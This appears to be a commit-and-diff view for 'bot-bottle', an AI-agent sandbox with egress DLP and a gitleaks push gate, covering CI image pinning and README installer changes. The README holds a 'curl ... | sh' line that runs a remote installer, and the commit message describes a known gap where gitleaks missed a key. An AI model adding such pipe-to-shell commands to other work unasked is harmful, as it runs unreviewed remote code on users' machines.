fix: retarget the demo at macos-container and re-record

The Docker backend cannot launch a bottle on this host: the orchestrator publishes 127.0.0.1:8099 but is attached only to the `--internal` control network, so Docker accepts the mapping and never establishes the forward (PortBindings set, NetworkSettings.Ports empty). Every launch dies on `orchestrator did not become healthy`. That is independent of the demo and left alone here, because fixing it means touching the L3 isolation the control network exists to provide. Pin the tape to macos-container, which launches cleanly, and drop the Docker daemon check and image pre-warm from setup. The pre-warm is not replaced with a `container build` equivalent: build_image() applies --dns handling that would become a second, drifting copy in shell, and the warm layer cache already keeps rebuilds fast. Pre-warm never kept BuildKit off camera anyway — the launcher prints CACHED lines regardless, so that comment was wrong when it was written. Launch via --headless. The interactive path opens four selectors in a row and the tape drove none of them; it also lists every bottle in ~/.bot-bottle/bottles/, putting the operator's own bottle names in a GIF that ships in the README. --headless is one-shot by construction (`claude -p`), so all probes ride in on a single --prompt rather than being typed as follow-ups into a session that has already exited. Spell the probes as literal shell commands. Left in English, one take had the agent substitute a placeholder for $FAKE_TOKEN: the DLP scanner had nothing to match and gitleaks found nothing to flag, so both controls reported a clean pass without ever being exercised. Neither curl discards the body, so the recording shows the host-filter refusal and the DLP refusal as visibly different reasons instead of two identical 403s. Drop the git/gitleaks probe. In the last run carrying it, gitleaks reported `no leaks found` on an AKIA-shaped key and the gate forwarded the push, which failed only because upstream.invalid does not resolve. A recording of that reads as the gate catching a secret while showing the opposite. Tracked in #541. Refs #540 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
fix: make demo setup/teardown idempotent and guard on PATH
2026-07-28 17:35:31 -04:00 · 2026-07-28 17:35:31 -04:00 · 2026-07-28 17:35:31 -04:00 · 2026-07-28 01:50:15 +00:00 · 2026-07-27 17:00:50 -04:00 · 2026-07-27 17:00:50 -04:00
183 changed files with 14757 additions and 1409 deletions
@@ -4,6 +4,13 @@ on:
  push:
    paths:
      - "**.py"
+      - "Dockerfile*"
+      - "bot_bottle/contrib/*/Dockerfile"
+      - "bot_bottle/contrib/*/package.json"
+      - "bot_bottle/contrib/*/package-lock.json"
+      - "bot_bottle/contrib/codex/codex-package_SHA256SUMS"
+      - "requirements.gateway.*"
+      - "image-build-args.json"
      - ".pylintrc"
      - ".gitea/workflows/lint.yml"

@@ -13,6 +20,9 @@ jobs:
    steps:
      - uses: actions/checkout@v3

+      - name: Enforce immutable image inputs
+        run: python3 scripts/check_image_inputs.py
+
      # No actions/setup-python: the runner image already ships Python 3.12,
      # and older act_runner engines mishandle setup-python's PATH. Install
      # into the ephemeral job container's system Python — the pylint/pyright
@@ -0,0 +1,97 @@
+# Manually refresh the committed package locks and the pinned Codex installer
+# checksum after deliberately changing a direct version in the source files.
+#
+# The job uploads the generated files for review; it never commits or pushes.
+
+name: refresh-image-locks
+
+on:
+  workflow_dispatch:
+  push:
+    paths:
+      - 'requirements.gateway.in'
+      - 'bot_bottle/contrib/claude/package.json'
+      - 'bot_bottle/contrib/pi/package.json'
+      - 'bot_bottle/contrib/codex/Dockerfile'
+      - 'image-build-args.json'
+      - '.gitea/workflows/refresh-image-locks.yml'
+
+permissions:
+  code: read
+
+jobs:
+  refresh:
+    runs-on: ubuntu-latest
+    steps:
+      - name: Checkout
+        uses: actions/checkout@v4
+
+      - name: Resolve image runtime versions
+        id: runtimes
+        run: |
+          python3 - <<'PY' >> "$GITHUB_OUTPUT"
+          import json
+          import re
+          inputs = json.load(open("image-build-args.json"))
+          for output, name in (
+              ("python-version", "PYTHON_BASE_IMAGE"),
+              ("node-version", "NODE_BASE_IMAGE"),
+          ):
+              match = re.search(r":(\d+\.\d+\.\d+)-", inputs[name])
+              if match is None:
+                  raise SystemExit(f"cannot resolve runtime version from {name}")
+              print(f"{output}={match.group(1)}")
+          PY
+
+      - name: Use the image Python version
+        uses: actions/setup-python@v5
+        with:
+          python-version: '${{ steps.runtimes.outputs.python-version }}'
+
+      - name: Use the image Node version
+        uses: actions/setup-node@v4
+        with:
+          node-version: '${{ steps.runtimes.outputs.node-version }}'
+
+      - name: Compile gateway Python lock
+        run: |
+          python3 -m venv /tmp/image-lock-tools
+          /tmp/image-lock-tools/bin/python -m pip install \
+            pip==25.2 \
+            pip-tools==7.5.1
+          /tmp/image-lock-tools/bin/python -m piptools compile \
+            --generate-hashes \
+            --output-file requirements.gateway.lock \
+            requirements.gateway.in
+
+      - name: Resolve provider npm locks
+        run: |
+          for provider in claude pi; do
+            (
+              cd "bot_bottle/contrib/$provider"
+              npm install --package-lock-only --ignore-scripts --no-audit --no-fund
+            )
+          done
+          python3 scripts/complete_npm_lock_integrity.py \
+            bot_bottle/contrib/claude/package-lock.json \
+            bot_bottle/contrib/pi/package-lock.json
+
+      - name: Refresh pinned Codex archive checksums
+        run: |
+          CODEX_VERSION=$(
+            sed -n 's/^ARG CODEX_VERSION=//p' bot_bottle/contrib/codex/Dockerfile
+          )
+          test -n "$CODEX_VERSION"
+          curl -fsSL \
+            "https://github.com/openai/codex/releases/download/rust-v${CODEX_VERSION}/codex-package_SHA256SUMS" \
+            -o bot_bottle/contrib/codex/codex-package_SHA256SUMS
+
+      - name: Upload refreshed inputs
+        uses: actions/upload-artifact@v3
+        with:
+          name: image-input-locks
+          path: |
+            requirements.gateway.lock
+            bot_bottle/contrib/claude/package-lock.json
+            bot_bottle/contrib/pi/package-lock.json
+            bot_bottle/contrib/codex/codex-package_SHA256SUMS
@@ -22,11 +22,14 @@ on:
      - 'scripts/**/*.py'
      - 'scripts/firecracker-netpool.sh'
      - 'Dockerfile*'
+      - 'image-build-args.json'
      - 'pyproject.toml'
      - 'requirements-dev.txt'
+      - 'requirements.gateway.*'
      - '.coveragerc'
      - '.dockerignore'
      - '.gitea/workflows/test.yml'
+      - '.gitea/workflows/refresh-image-locks.yml'
      - '.gitea/workflows/pre-release-test.yml'
  pull_request:
    paths:
@@ -43,11 +46,14 @@ on:
      - 'scripts/**/*.py'
      - 'scripts/firecracker-netpool.sh'
      - 'Dockerfile*'
+      - 'image-build-args.json'
      - 'pyproject.toml'
      - 'requirements-dev.txt'
+      - 'requirements.gateway.*'
      - '.coveragerc'
      - '.dockerignore'
      - '.gitea/workflows/test.yml'
+      - '.gitea/workflows/refresh-image-locks.yml'
      - '.gitea/workflows/pre-release-test.yml'

 jobs:
@@ -96,6 +102,20 @@ jobs:
          python3 --version
          python3 cli.py backend status --backend=docker

+      - name: Preflight — clear any leftover poisoned gateway network
+        run: |
+          # The gateway network has a fixed name and persists across jobs on
+          # this shared runner. A pre-fix or concurrent launch can leave it with
+          # a malformed IPv6 subnet that trips docker's own ParseAddr in
+          # `network inspect` (see PR #515); the code now self-heals it, but the
+          # heal can't run if `network inspect` is what's broken on some daemon
+          # versions. Drop the network here so this run recreates it IPv4-only.
+          # Remove the attached gateway container first (else `network rm` fails
+          # on active endpoints); both are recreated by ensure_running. Harmless
+          # when absent.
+          docker rm --force bot-bottle-orch-gateway 2>/dev/null || true
+          docker network rm bot-bottle-gateway 2>/dev/null || true
+
      - name: Run integration tests (docker) with coverage
        env:
          BOT_BOTTLE_BACKEND: docker
@@ -137,6 +157,114 @@ jobs:
          name: coverage-docker
          path: coverage-docker.dat

+  image-input-builds:
+    runs-on: ubuntu-latest
+    steps:
+      - name: Checkout
+        uses: actions/checkout@v4
+
+      - name: Verify shared bases cover supported architectures
+        run: |
+          set -euo pipefail
+          python_ref=$(python3 -c \
+            'import json; print(json.load(open("image-build-args.json"))["PYTHON_BASE_IMAGE"])')
+          node_ref=$(python3 -c \
+            'import json; print(json.load(open("image-build-args.json"))["NODE_BASE_IMAGE"])')
+          docker_cli_ref=$(python3 -c \
+            'import json; print(json.load(open("image-build-args.json"))["DOCKER_CLI_BASE_IMAGE"])')
+          test -n "$python_ref"
+          test -n "$node_ref"
+          test -n "$docker_cli_ref"
+          for ref in "$python_ref" "$node_ref" "$docker_cli_ref"; do
+            docker buildx imagetools inspect --raw "$ref" |
+              python3 -c '
+          import json
+          import sys
+          manifest = json.load(sys.stdin)
+          platforms = {
+              (item["platform"]["os"], item["platform"]["architecture"])
+              for item in manifest["manifests"]
+              if item.get("platform", {}).get("os") != "unknown"
+          }
+          required = {("linux", "amd64"), ("linux", "arm64")}
+          missing = required - platforms
+          if missing:
+              raise SystemExit(f"base manifest lacks supported platforms: {missing}")
+          '
+          done
+
+      - name: Verify Codex archives for all supported architectures
+        run: |
+          set -euo pipefail
+          codex_version=$(
+            sed -n 's/^ARG CODEX_VERSION=//p' bot_bottle/contrib/codex/Dockerfile
+          )
+          test -n "$codex_version"
+          tmp=$(mktemp -d)
+          trap 'rm -rf "$tmp"' EXIT
+          for target in \
+            aarch64-unknown-linux-musl \
+            x86_64-unknown-linux-musl
+          do
+            asset="codex-package-${target}.tar.gz"
+            expected=$(
+              awk -v asset="$asset" '$2 == asset { print $1 }' \
+                bot_bottle/contrib/codex/codex-package_SHA256SUMS
+            )
+            test -n "$expected"
+            curl -fsSL \
+              "https://github.com/openai/codex/releases/download/rust-v${codex_version}/${asset}" \
+              -o "$tmp/$asset"
+            echo "$expected  $tmp/$asset" | sha256sum -c -
+            tar -tzf "$tmp/$asset" > "$tmp/$asset.contents"
+            grep -Fx 'bin/codex' "$tmp/$asset.contents"
+            grep -Fx 'bin/codex-code-mode-host' "$tmp/$asset.contents"
+            grep -Fx 'codex-package.json' "$tmp/$asset.contents"
+          done
+
+      - name: Build and smoke-test all supported images
+        run: |
+          set -euo pipefail
+          suffix="${GITHUB_RUN_ID:-${GITHUB_RUN_NUMBER:-image-inputs}}"
+          orchestrator="bot-bottle-orchestrator-inputs:${suffix}"
+          gateway="bot-bottle-gateway-inputs:${suffix}"
+          orchestrator_fc="bot-bottle-orchestrator-fc-inputs:${suffix}"
+          claude="bot-bottle-claude-inputs:${suffix}"
+          codex="bot-bottle-codex-inputs:${suffix}"
+          pi="bot-bottle-pi-inputs:${suffix}"
+          python_base=$(python3 -c \
+            'import json; print(json.load(open("image-build-args.json"))["PYTHON_BASE_IMAGE"])')
+          node_base=$(python3 -c \
+            'import json; print(json.load(open("image-build-args.json"))["NODE_BASE_IMAGE"])')
+
+          docker build --build-arg "PYTHON_BASE_IMAGE=$python_base" \
+            -t "$orchestrator" -f Dockerfile.orchestrator .
+          orchestrator_id=$(docker image inspect --format '{{.Id}}' "$orchestrator")
+          case "$orchestrator_id" in sha256:*) ;; *) exit 1 ;; esac
+          orchestrator_base="bot-bottle-orchestrator-inputs:sha256-${orchestrator_id#sha256:}"
+          docker image tag "$orchestrator_id" "$orchestrator_base"
+          test "$(
+            docker image inspect --format '{{.Id}}' "$orchestrator_base"
+          )" = "$orchestrator_id"
+          docker build --build-arg "PYTHON_BASE_IMAGE=$python_base" \
+            -t "$gateway" -f Dockerfile.gateway .
+          docker build \
+            --build-arg "ORCHESTRATOR_BASE_IMAGE=$orchestrator_base" \
+            -t "$orchestrator_fc" -f Dockerfile.orchestrator.fc .
+          docker build --build-arg "NODE_BASE_IMAGE=$node_base" \
+            -t "$claude" -f bot_bottle/contrib/claude/Dockerfile .
+          docker build --build-arg "NODE_BASE_IMAGE=$node_base" \
+            -t "$codex" -f bot_bottle/contrib/codex/Dockerfile .
+          docker build --build-arg "NODE_BASE_IMAGE=$node_base" \
+            -t "$pi" -f bot_bottle/contrib/pi/Dockerfile .
+
+          docker run --rm --entrypoint python3 "$orchestrator" -c \
+            'import bot_bottle.orchestrator'
+          docker run --rm --entrypoint mitmdump "$gateway" --version
+          docker run --rm "$claude" claude --version
+          docker run --rm "$codex" codex --version
+          docker run --rm "$pi" pi --version
+
  coverage:
    needs: [unit, integration-docker]
    timeout-minutes: 15
@@ -170,7 +298,7 @@ jobs:
      - name: Combined coverage (unit + docker integration)
        run: PYTHON=python3 bash scripts/coverage.sh aggregate critical

-      - name: Diff-coverage gate (changed lines >= 90%)
+      - name: Diff-coverage gate (changed lines >= 80%)
        run: |
          git fetch --no-tags origin main:refs/remotes/origin/main
-          python3 scripts/diff_coverage.py --base origin/main --min 90
+          python3 scripts/diff_coverage.py --base origin/main --min 80
@@ -36,11 +36,23 @@
 #   9420  git-gate smart HTTP (VM-backend agent-facing transport)
 #   9100  supervise (MCP HTTP)

-# Based on `python:3.12-slim` (Debian trixie) rather than the
+# Based on an exact `python:3.12.13-slim-trixie` multi-architecture manifest
+# rather than the
 # `mitmproxy/mitmproxy` image (Debian bookworm), matching the trixie base the
 # orchestrator image needs for buildah (Dockerfile.orchestrator.fc). mitmproxy
 # is pip-installed to the same effect as the upstream image.
-FROM python:3.12-slim
+ARG PYTHON_BASE_IMAGE
+FROM ${PYTHON_BASE_IMAGE}
+
+# Freeze apt's package universe as well as the base filesystem. Without a
+# snapshot, the same Dockerfile resolves different package versions over time.
+ARG DEBIAN_SNAPSHOT=20260724T000000Z
+RUN sed -i \
+      -e "s|http://deb.debian.org/debian-security|http://snapshot.debian.org/archive/debian-security/${DEBIAN_SNAPSHOT}|g" \
+      -e "s|https://deb.debian.org/debian-security|http://snapshot.debian.org/archive/debian-security/${DEBIAN_SNAPSHOT}|g" \
+      -e "s|http://deb.debian.org/debian|http://snapshot.debian.org/archive/debian/${DEBIAN_SNAPSHOT}|g" \
+      -e "s|https://deb.debian.org/debian|http://snapshot.debian.org/archive/debian/${DEBIAN_SNAPSHOT}|g" \
+      /etc/apt/sources.list.d/debian.sources

 # Runtime system deps:
 #   git supplies the `git daemon` subcommand (no separate package)
@@ -48,16 +60,19 @@ FROM python:3.12-slim
 #   openssh-client supplies the upstream SSH transport the
 #     pre-receive hook uses to forward accepted refs.
 #   ca-certificates is needed for mitmdump upstream TLS.
-RUN apt-get update \
+RUN apt-get -o Acquire::Check-Valid-Until=false update \
 && apt-get install -y --no-install-recommends \
      git openssh-client ca-certificates \
 && rm -rf /var/lib/apt/lists/*

 # mitmdump (the egress data plane). The upstream mitmproxy image baked
-# this in; on the plain python base we pip-install the same pinned
-# version. Its CA dir is set explicitly via `--set confdir=` in
+# this in; on the plain python base we install a fully resolved lock whose
+# distributions are all hash-verified. Its CA dir is set explicitly via
+# `--set confdir=` in
 # egress-entrypoint.sh, so it doesn't depend on a `mitmproxy` home user.
-RUN pip install --no-cache-dir mitmproxy==11.1.3
+COPY requirements.gateway.lock /tmp/requirements.gateway.lock
+RUN pip install --no-cache-dir --require-hashes \
+      -r /tmp/requirements.gateway.lock

 # gitleaks (the pre-receive hook's secret scanner). Installed from its
 # official release, pinned by version + SHA256 and verified — rather than
@@ -9,19 +9,24 @@
 #     Keeping the content in one place means future orchestrator deps (e.g.
 #     iroh) are added here once, not duplicated per backend.
 #
-# It stays deliberately lean: the control plane is **stdlib-only** today, so
-# no third-party payload — none of the gateway's mitmproxy/git/gitleaks
-# (that's Dockerfile.gateway) and no buildah (that's the firecracker
-# builder, and lives only in Dockerfile.orchestrator.fc). Keeping the
-# secret-dense control plane on a minimal dependency surface is the point
-# (PRD 0070's "secret concentration").
+# It stays deliberately lean: only the pinned FastAPI/Uvicorn control-plane
+# stack is installed here — none of the gateway's mitmproxy/git/gitleaks
+# (that's Dockerfile.gateway) and no buildah (that's firecracker-only).
 #
-# Shares the trixie `python:3.12-slim` base with the gateway image.
+# Shares an exact multi-architecture Python/trixie manifest with the gateway
+# image. The version-qualified tag keeps the human-readable upstream version;
+# the digest makes the bytes immutable.

-FROM python:3.12-slim
+ARG PYTHON_BASE_IMAGE
+FROM ${PYTHON_BASE_IMAGE}

 WORKDIR /app

+COPY requirements.orchestrator.lock /tmp/requirements.orchestrator.lock
+RUN pip install --no-cache-dir --require-hashes \
+        -r /tmp/requirements.orchestrator.lock \
+    && rm /tmp/requirements.orchestrator.lock
+
 # The orchestrator content. Baked so the image is self-contained (runs from
 # a built image, no runtime bind-mount); the docker backend may still
 # bind-mount /app for dev live-reload, which simply overlays this copy.
@@ -12,10 +12,21 @@
 # bare microVM (no fuse-overlayfs / overlay module / subuid maps). The trixie
 # base (from Dockerfile.orchestrator's python:3.12-slim) carries buildah 1.39,
 # which parses the Dockerfile heredocs agent images use (bookworm's 1.28 can't).
-# Matches image_builder.
-FROM bot-bottle-orchestrator:latest
+# Matches image_builder. There is deliberately no default: the build coordinator
+# passes the exact local image ID returned by `docker image inspect`, so this
+# stage cannot silently resolve a stale `:latest` tag.
+ARG ORCHESTRATOR_BASE_IMAGE
+FROM ${ORCHESTRATOR_BASE_IMAGE}

-RUN apt-get update \
+ARG DEBIAN_SNAPSHOT=20260724T000000Z
+RUN sed -i \
+      -e "s|http://deb.debian.org/debian-security|http://snapshot.debian.org/archive/debian-security/${DEBIAN_SNAPSHOT}|g" \
+      -e "s|https://deb.debian.org/debian-security|http://snapshot.debian.org/archive/debian-security/${DEBIAN_SNAPSHOT}|g" \
+      -e "s|http://deb.debian.org/debian|http://snapshot.debian.org/archive/debian/${DEBIAN_SNAPSHOT}|g" \
+      -e "s|https://deb.debian.org/debian|http://snapshot.debian.org/archive/debian/${DEBIAN_SNAPSHOT}|g" \
+      /etc/apt/sources.list.d/debian.sources
+
+RUN apt-get -o Acquire::Check-Valid-Until=false update \
 && apt-get install -y --no-install-recommends \
      buildah crun netavark aardvark-dns \
 && rm -rf /var/lib/apt/lists/*
@@ -4,5 +4,8 @@
 include Dockerfile.gateway
 include Dockerfile.orchestrator
 include Dockerfile.orchestrator.fc
+include image-build-args.json
+include requirements.gateway.in
+include requirements.gateway.lock
 include nix/firecracker-netpool.nix
 include scripts/firecracker-netpool.sh
@@ -15,7 +15,7 @@
 ## Features

 - **Per-bottle egress allowlist** — TLS-bumped HTTP/HTTPS chokepoint with a per-manifest host allowlist; per-route path/method/header `matches` filtering; outbound DLP scanning for known tokens and secrets, inbound DLP scanning for prompt-injection attempts; DoH and arbitrary hosts blocked by default.
- **Per-route token-match policy** — each egress route picks what happens when the outbound DLP catches a token via `dlp.outbound_on_match`: `supervise` (default) holds the request and surfaces it in `./cli.py supervise` for approval (an approved value is remembered for the life of the proxy); `redact` scrubs the value and forwards; `block` is a hard `403`. Cuts false-positive friction without weakening default-deny.
+- **Per-route token-match policy** — each egress route picks what happens when the outbound DLP catches a token via `dlp.outbound_on_match`: `supervise` (default) holds the request and surfaces it in `bot-bottle supervise` for approval (an approved value is remembered for the life of the proxy); `redact` scrubs the value and forwards; `block` is a hard `403`. Cuts false-positive friction without weakening default-deny.
 - **Tokens the agent never sees** — host secrets live in a gateway; the agent dials `http://gateway:9099/<path>` and the proxy strips inbound `Authorization` and injects the real token before forwarding. `printenv` in the agent shows proxy URLs only.
 - **Gitleaks-scanned push (git-gate)** — `bottle.git` remotes route through a per-bottle `git daemon` that gitleaks-scans incoming refs pre-receive and forwards clean refs upstream over SSH. The agent never holds the upstream credential.
 - **Manifest-scoped skills + secrets** — each bottle declares its skills, env, git identity, remotes, and egress routes; unknown keys die at load.
@@ -39,7 +39,7 @@ On the legacy Docker backend, the same logical bottle is two containers per agen
 The Docker topology looks like this:

 ```
-                            host  ( ./cli.py )
+                            host  ( bot-bottle )
                                  │
                          starts  │  stops
                                  ▼
@@ -71,9 +71,23 @@ When the agent exits, `cli.py` tears down every gateway and both networks; nothi

 ## Quickstart

-On compatible macOS hosts, the default backend requires Apple's `container` CLI and does not require Docker. The Firecracker backend (Linux) requires Docker on the host for the gateway plus the `firecracker` binary and KVM. The legacy Docker backend requires Docker. Claude bottles also need a long-lived Claude Code OAuth token (`claude setup-token`) exported as `BOT_BOTTLE_CLAUDE_OAUTH_TOKEN`.
+```sh
+curl -fsSL https://gitea.dideric.is/didericis/bot-bottle/raw/branch/main/install.sh | sh
+```

-Use `BOT_BOTTLE_BACKEND=docker ./cli.py start <agent>` on hosts where neither Apple Container nor KVM is available and Docker is the desired backend.
+The installer is a bootstrapper: it finds a suitable Python, installs bot-bottle with `pipx` (falling back to `pip --user`), creates `~/.bot-bottle`, and runs `bot-bottle doctor`. It is idempotent and never uses `sudo`. Python-native users can skip it entirely with `pipx install bot-bottle` or `uv tool install bot-bottle`.
+
+### Requirements
+
+**Python ≥ 3.11**, and this is the one that trips people up on macOS: the `python3` Apple ships at `/usr/bin/python3` is **3.9.6**, which is too old. Bare `python3` resolves to that stub far more often than people expect. `path_helper` builds a login shell's `PATH` from `/etc/paths` and then appends `/etc/paths.d/*`, and `/usr/bin` sits in the former — so even when `/opt/homebrew/bin` *is* on the `PATH` (via `/etc/paths.d/homebrew`), it comes after `/usr/bin` and loses. Prepending a newer Python is something your shell profile does, and a fresh account, a launchd job, or a CI runner has no such profile. So the installer looks past bare `python3` before giving up: it tries `python3`, then the versioned `python3.11`–`python3.14` names, then `/opt/homebrew/bin`, `/usr/local/bin`, `~/.local/bin`, and python.org framework builds — and tells you which one it picked when it isn't the obvious one. Point it somewhere specific with `BOT_BOTTLE_PYTHON=/path/to/python3`.
+
+**No `pipx` required.** If `pipx` is present the installer uses it and stays out of the way. If it isn't, bot-bottle installs into a private venv at `~/.bot-bottle/venv` (override with `BOT_BOTTLE_VENV`) and symlinks the entry point into `~/.local/bin`. There is deliberately no `pip install --user` path: Homebrew, python.org and Debian/Ubuntu interpreters are all externally managed (PEP 668), which blocks `--user` outright — so on a Mac it is never the fallback it appears to be. A venv is exempt from PEP 668, and `venv` is stdlib, so unlike `pipx` there is nothing to bootstrap first.
+
+**`git`**, because the default install spec is a `git+` URL. Set `BOT_BOTTLE_INSTALL_SPEC` to a wheel path or index name to avoid it.
+
+**A backend**, which the installer deliberately does *not* install for you — `doctor` reports what's missing afterwards. On compatible macOS hosts, the default backend requires Apple's `container` CLI and does not require Docker. The Firecracker backend (Linux) requires Docker on the host for the gateway plus the `firecracker` binary and KVM. The legacy Docker backend requires Docker. Claude bottles also need a long-lived Claude Code OAuth token (`claude setup-token`) exported as `BOT_BOTTLE_CLAUDE_OAUTH_TOKEN`.
+
+Use `BOT_BOTTLE_BACKEND=docker bot-bottle start <agent>` on hosts where neither Apple Container nor KVM is available and Docker is the desired backend.

 > **CI (macOS Apple Container):** the advisory `integration-macos` job in `.gitea/workflows/pre-release-test.yml` runs only on manual dispatch. It targets a self-hosted host-mode runner labelled `macos`; Apple Container cannot run inside the Linux pull-request runner. Provision an Apple Silicon host with the `container` CLI running and Python ≥ 3.11 plus `coverage` on the launchd service's explicit `PATH`. The infra container is a singleton (`bot-bottle-mac-infra`), so keep runner concurrency at 1. Its coverage is reported separately and never feeds the required pull-request gate.

@@ -166,10 +180,10 @@ On Linux, a KVM-capable host defaults to the Firecracker backend. It needs:
 - **`/dev/kvm`** present and accessible. Load `kvm-intel` or `kvm-amd` (and enable virtualization in BIOS/firmware). The invoking user must be in the `kvm` group: `sudo usermod -aG kvm "$USER"` then re-login. bot-bottle preflights this and reports exactly what's missing.
 - **`firecracker`** on `PATH`: grab a release from <https://github.com/firecracker-microvm/firecracker/releases>. Start flows print this pointer when the binary is missing.
 - **Docker** for the gateway and image build.
- **A one-time privileged network setup** — the per-bottle TAP pool plus the fail-closed `nftables` isolation table. Run `./cli.py backend setup --backend=firecracker` for the host-appropriate config (a NixOS module, a `sudo` script elsewhere); `./cli.py backend status --backend=firecracker` reports what's present, including whether the pool range collides with an existing route. The pool defaults to `10.243.0.0/16` (an obscure RFC-1918 block that dodges docker/libvirt/LAN and, deliberately, Tailscale's `100.64.0.0/10` CGNAT range); override with `BOT_BOTTLE_FC_IP_BASE` if it clashes on your host.
+- **A one-time privileged network setup** — the per-bottle TAP pool plus the fail-closed `nftables` isolation table. Run `bot-bottle backend setup --backend=firecracker` for the host-appropriate config (a NixOS module, a `sudo` script elsewhere); `bot-bottle backend status --backend=firecracker` reports what's present, including whether the pool range collides with an existing route. The pool defaults to `10.243.0.0/16` (an obscure RFC-1918 block that dodges docker/libvirt/LAN and, deliberately, Tailscale's `100.64.0.0/10` CGNAT range); override with `BOT_BOTTLE_FC_IP_BASE` if it clashes on your host.

 ```sh
-BOT_BOTTLE_BACKEND=firecracker ./cli.py start <agent>
+BOT_BOTTLE_BACKEND=firecracker bot-bottle start <agent>
 ```

 > **NixOS:** enable `virtualisation.docker`, ensure the KVM module is loaded (`boot.kernelModules = [ "kvm-intel" ];` or `kvm-amd`), and add your user to the `kvm` and `docker` groups. For the network pool, consume the flake module — `imports = [ inputs.bot-bottle.nixosModules.firecracker-netpool ]; services.bot-bottle-firecracker = { enable = true; owner = "you"; };` — then `nixos-rebuild switch` (imperative nft/TAP rules don't survive a rebuild; channel users can `imports = [ <bot-bottle>/nix/firecracker-netpool.nix ]`). `firecracker` isn't in nixpkgs by default as a user binary — install the release binary (pin the version) and put it on `PATH`.
@@ -177,7 +191,7 @@ BOT_BOTTLE_BACKEND=firecracker ./cli.py start <agent>
 > **CI:** Firecracker integration runs in the manually dispatched `.gitea/workflows/pre-release-test.yml` on a self-hosted runner labelled `kvm`; privileged KVM hosts never execute unreviewed PR code automatically. Provision it like a normal Firecracker host: `firecracker` on `PATH`, `/dev/kvm`, the cached guest kernel and static dropbear, and the persistent TAP/nft pool. The required pull-request workflow runs unit plus the complete Docker integration suite on `ubuntu-latest`; see `docs/ci.md`.

 ```sh
-./cli.py start <agent>   # builds the image on first run, drops you into claude
+bot-bottle start <agent>   # builds the image on first run, drops you into claude
 ```

 ## Manifest
@@ -253,7 +267,7 @@ You help maintain Gitea-hosted projects.
 | `dlp.outbound_on_match` | no | What to do when an outbound token is detected: `supervise` (default for manifest routes — hold for operator approval), `redact` (scrub the value and forward), or `block` (hard 403). Agent-provider routes (e.g. `api.anthropic.com`) default to `redact`. |
 | `git.fetch` | no | `true` permits smart HTTP clone/fetch (`git-upload-pack`) for this host. Push (`git-receive-pack`) remains blocked. |

-When an outbound DLP detector matches a token, the route's `dlp.outbound_on_match` policy decides what happens. Under the default `supervise`, the proxy queues an `egress-token-allow` proposal for the operator's `./cli.py supervise` TUI and holds the request open until it is answered (or `EGRESS_TOKEN_ALLOW_TIMEOUT_SECONDS`, default 300s, elapses — after which it fails closed). The operator never sees the raw token, only the host, method, path, and a redacted snippet; approving adds the value to an in-memory safelist for the life of the egress proxy. Under `redact`, the matched value is scrubbed from the body, headers, and path and the request is forwarded (failing closed if a match lands somewhere unredactable, like the hostname). Under `block` it stays a hard `403`. Structural blocks (CRLF injection) and not-in-allowlist host blocks are always hard `403`s regardless of policy.
+When an outbound DLP detector matches a token, the route's `dlp.outbound_on_match` policy decides what happens. Under the default `supervise`, the proxy queues an `egress-token-allow` proposal for the operator's `bot-bottle supervise` TUI and holds the request open until it is answered (or `EGRESS_TOKEN_ALLOW_TIMEOUT_SECONDS`, default 300s, elapses — after which it fails closed). The operator never sees the raw token, only the host, method, path, and a redacted snippet; approving adds the value to an in-memory safelist for the life of the egress proxy. Under `redact`, the matched value is scrubbed from the body, headers, and path and the request is forwarded (failing closed if a match lands somewhere unredactable, like the hostname). Under `block` it stays a hard `403`. Structural blocks (CRLF injection) and not-in-allowlist host blocks are always hard `403`s regardless of policy.

 More examples in `examples/`. Full design lives under `docs/prds/`; the trust-boundary rationale is in `docs/prds/0011-per-file-md-manifest.md`.

@@ -226,7 +226,7 @@ class AgentProvider(ABC):
        initial task in a non-interactive (headless) session.

        Called only when ``--prompt`` is passed to
-        ``./cli.py start --headless``; the returned args are appended
+        ``bot-bottle start --headless``; the returned args are appended
        after the provider's ``bypass_args`` and ``startup_args``."""

    def provision_ca(self, bottle: "Bottle", plan: "BottlePlan") -> None:
@@ -30,6 +30,7 @@ if TYPE_CHECKING:
        BottleImages,
        BottlePlan,
        BottleSpec,
+        EnumerationError,
        ExecResult,
    )
    from .selection import (
@@ -59,6 +60,7 @@ _LAZY_MODULES: dict[str, str] = {
    "BottleImages": "base",
    "BottleBackend": "base",
    "BackendStatus": "base",
+    "EnumerationError": "base",
    "get_bottle_backend": "selection",
    "known_backend_names": "selection",
    "has_backend": "selection",
@@ -100,6 +102,7 @@ __all__ = [
    "BottlePlan",
    "BottleSpec",
    "ExecResult",
+    "EnumerationError",
    "CommitCancelled",
    "Freezer",
    "get_freezer",
@@ -42,6 +42,10 @@ class BackendStatus(enum.IntEnum):
    READY = 0


+class EnumerationError(RuntimeError):
+    """A backend could not produce an authoritative live-resource snapshot."""
+
+
@dataclass(frozen=True)
 class BottleSpec:
    """CLI-supplied intent. Backend-agnostic — each backend's prepare
@@ -168,6 +172,10 @@ class BottleCleanupPlan(ABC):
        """True iff there is nothing to clean up; the CLI uses this to
        short-circuit before showing the y/N."""

+    @abstractmethod
+    def intersect(self, current: "BottleCleanupPlan") -> "BottleCleanupPlan":
+        """Resources both displayed to the operator and currently removable."""
+

@dataclass(frozen=True)
 class ExecResult:
@@ -488,6 +496,20 @@ class BottleBackend(ABC, Generic[PlanT, CleanupT]):
        (macos-container) die with a pointer — the default here."""
        die(f"backend {self.name!r} has no orchestrator control plane")

+    def attach_bottled_agents_to_gateway(self) -> None:
+        """Reconcile all running bottles against the current gateway.
+
+        Called when the gateway is (re)brought up (cold-boot path) to restore
+        the three gateway-dependent services for every live bottle: CA trust,
+        git-gate repos/creds, and egress tokens. Per-bottle failures must be
+        logged and skipped — one unreachable agent must not block the rest.
+
+        Default: no-op. Backends that run a gateway (Firecracker, docker,
+        macOS) override this with a backend-native implementation that reaches
+        running agents via their transport (SSH for Firecracker, exec/cp for
+        docker and macOS). PRD 0081."""
+        return
+
    @abstractmethod
    def prepare_cleanup(self) -> CleanupT:
        """Enumerate orphaned resources from previous bottles. No side
@@ -523,7 +545,7 @@ class BottleBackend(ABC, Generic[PlanT, CleanupT]):
        host-appropriate config or commands. Prints to stdout/stderr and
        returns a shell exit code (0 = nothing to report / success). A
        backend that needs no host setup prints a short note and returns
-        0. Invoked generically by `./cli.py backend setup [--backend=…]`
+        0. Invoked generically by `bot-bottle backend setup [--backend=…]`
        so operators can provision any backend without a
        backend-specific command. Classmethod (like `is_available`) —
